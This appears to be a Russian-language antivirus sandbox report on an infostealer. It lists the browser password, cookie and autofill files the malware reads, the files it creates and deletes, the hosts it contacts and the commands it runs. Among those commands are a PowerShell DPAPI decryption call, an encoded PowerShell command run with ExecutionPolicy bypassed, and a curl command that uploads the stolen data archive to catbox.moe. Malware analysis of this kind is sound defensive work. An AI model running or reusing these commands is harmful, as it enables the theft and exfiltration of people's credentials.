Техническая информация
Вредоносные функции
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\pkg-dqueyi\5ad24cd4d19ef03079717bd6309fe0604c2a4829cd92788ebf6da95c41d3d28f
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\package.json
- %TEMP%\pkg-dqueyi\82c0fffccc54ef10231be8c7e190feb8feea44efc01b4ecfe12e4d8a0ecfb20d
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\binding.gyp
- %TEMP%\pkg-dqueyi\8d6b400ae7f69a80d0cdd37a968d7b9a913661fa53475e5b8de49dda21684973
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.js
- %TEMP%\pkg-dqueyi\762c7a74d7f92860a3873487b68e89f654a21d2aaeae9524eab5de9c65e66a9c
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3-binding.js
- %TEMP%\pkg-dqueyi\d06caec6136120c6fb7ee3681b1ca949e8b634e747ea8d3080c90f35aeb7728f
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\trace.js
- %TEMP%\pkg-dqueyi\a39db87a3a3aa954ac3f6553b9fbfc642eb22bef7586cc1f0559e676aa073fa8
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.d.ts
- %TEMP%\pkg-dqueyi\4d65f2899fb54955218f28ec358a2cad2c2074a7b43f862933c6a35e69ae0632
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\common-sqlite.gypi
- %TEMP%\pkg-dqueyi\5be353d29c0fabea29cfd34448c196da9506009c0b20fde55e01d4191941dd74
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\extract.js
- %TEMP%\pkg-dqueyi\e419c0ce9b0c4ba177c1f0af7f5e9c0b798b2bad8626347e3f0f37c9ffe67804
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\sqlite-autoconf-3440200.tar.gz
- %TEMP%\pkg-dqueyi\8793f62b1133892ba376d18a15f552ef12b1e016f7e5df32ffb7279b760c11bd
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\sqlite3.gyp
- %TEMP%\pkg-dqueyi\cce55c56b41cb493ebd43b232ff8ffc9f5a180f5bab2d10372eca6780eb105f6
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\async.h
- %TEMP%\pkg-dqueyi\960e50580d2f2e668ee79b0c2ef99eaf006bc9178f438c4bb4e278f80f3d8960
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\backup.cc
- %TEMP%\pkg-dqueyi\556ba9af78010f41bc6b5b806743dc728bc181934bf8a7c6e5d606f9b8c7a2e9
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\backup.h
- %TEMP%\pkg-dqueyi\40ea909433a35a95a8463c49231ddca040717681fc96ee3ba6f10840429b4ad6
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\database.cc
- %TEMP%\pkg-dqueyi\8521f458b206ed8f9bf79e2bd869da0a35054b4be44d6ea8c371db207eccb283
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\database.h
- %TEMP%\pkg-dqueyi\9d4264bb1dcbef8d927bb3a1809a01b0b89d726c217cee99ea9ccfdc7d456b6f
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\gcc-preinclude.h
- %TEMP%\pkg-dqueyi\c25be1861bd8e8457300b218f5fa0bba734f9d1f92b47d3b6ab8ee7c1862ccbe
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\macros.h
- %TEMP%\pkg-dqueyi\e80fae190ace1a5153a397ae9fe55d6d28651471fb7bebf9bbb5528095d70f44
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\node_sqlite3.cc
- %TEMP%\pkg-dqueyi\2fe8c826256cb1b96e26c74aeab465a329a307e7e1107ba296d059a07cc0f948
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\statement.cc
- %TEMP%\pkg-dqueyi\605633ba0fb1922c16aa5fbfffed52a097f29bf31cee7190d810c24c02de515b
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\statement.h
- %TEMP%\pkg-dqueyi\e0ab4f798bccb877548b0ab0f3d98c051b36cde240fdf424c70ace7daf0ffd36
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\threading.h
- %TEMP%\pkg-dqueyi\b9a7b76665d92af2d90cc6a15ffdc1a79635559cbc1c40bd1f83c4c4449cd442
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\release\node_sqlite3.node
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\release\node_sqlite3.node.bak
- nul
- %ALLUSERSPROFILE%\microsoft\usersettings\winhost.lock
- %ALLUSERSPROFILE%\microsoft\usersettings\fof54nhras\en-dntrlo\log.txt
- %TEMP%\content\1904-5032-mshta.exe-22-08-24-363.dump
- %TEMP%\autofill_zko1zosg.db
- %TEMP%\passwords_u1c9t5cv.db
- %TEMP%\cookies_a1mrpnh8.db
- %TEMP%\passwords_r7fo9q7q.db
- %TEMP%\autofill_2esejr01.db
- %TEMP%\passwords_u66bsbp1.db
- %TEMP%\autofill_brk5kj07.db
- %ALLUSERSPROFILE%\microsoft\usersettings\fof54nhras\en-dntrlo\screenshot\screenshot.png
- %ALLUSERSPROFILE%\microsoft\usersettings\fof54nhras\en-dntrlo.zip
Удаляет файлы, которые сам же создал
- %TEMP%\passwords_u1c9t5cv.db
- %TEMP%\cookies_a1mrpnh8.db
- %TEMP%\autofill_zko1zosg.db
- %TEMP%\passwords_r7fo9q7q.db
- %TEMP%\autofill_2esejr01.db
- %TEMP%\passwords_u66bsbp1.db
- %TEMP%\autofill_brk5kj07.db
- %ALLUSERSPROFILE%\microsoft\usersettings\fof54nhras\en-dntrlo.zip
- %ALLUSERSPROFILE%\microsoft\usersettings\fof54nhras\en-dntrlo\log.txt
- %ALLUSERSPROFILE%\microsoft\usersettings\fof54nhras\en-dntrlo\screenshot\screenshot.png
- %ALLUSERSPROFILE%\microsoft\usersettings\winhost.lock
Сетевая активность
Подключается к
- 'ca##ox.moe':443
- '19#.#32.214.172':80
- 'x1.#.lencr.org':80
- 'e8.#.lencr.org':80
- 'ip##pi.com':80
- 'di##ord.com':443
TCP
Запросы HTTP GET
- http://e8.#.lencr.org/47.crl
- http://ip##pi.com/json/
Другие
- 'ca##ox.moe':443
- 'di##ord.com':443
UDP
- DNS ASK ca##ox.moe
- DNS ASK x1.#.lencr.org
- DNS ASK e8.#.lencr.org
- DNS ASK ip##pi.com
- DNS ASK di##ord.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /d /s /c "net session" (со скрытым окном)
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\cmd.exe' /d /s /c "cmd /c start "" mshta vbscript:Execute("MsgBox ""The execution of the program has failed due to a system error. Please try restarting the application. If the problem persists, contact... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c start "" mshta vbscript:Execute("MsgBox ""The execution of the program has failed due to a system error. Please try restarting the application. If the problem persists, contact support."", 1...
- '<SYSTEM32>\mshta.exe' vbscript:Execute("MsgBox ""The execution of the program has failed due to a system error. Please try restarting the application. If the problem persists, contact support."", 16, ""System Error"...
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,2... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,69,247,204,56,...
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist" (со скрытым окном)
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBU... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAc...
- '<SYSTEM32>\cmd.exe' /d /s /c ""<SYSTEM32>\curl.exe" -s -F "reqtype=fileupload" -F "fileToUpload=@"%ALLUSERSPROFILE%\Microsoft\UserSettings\fOf54NHRAS\EN-dntrlo.zip"" "https://catbox.moe/user/api.php"" (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s -F "reqtype=fileupload" -F "fileToUpload=@"%ALLUSERSPROFILE%\Microsoft\UserSettings\fOf54NHRAS\EN-dntrlo.zip"" "https://catbox.moe/user/api.php"
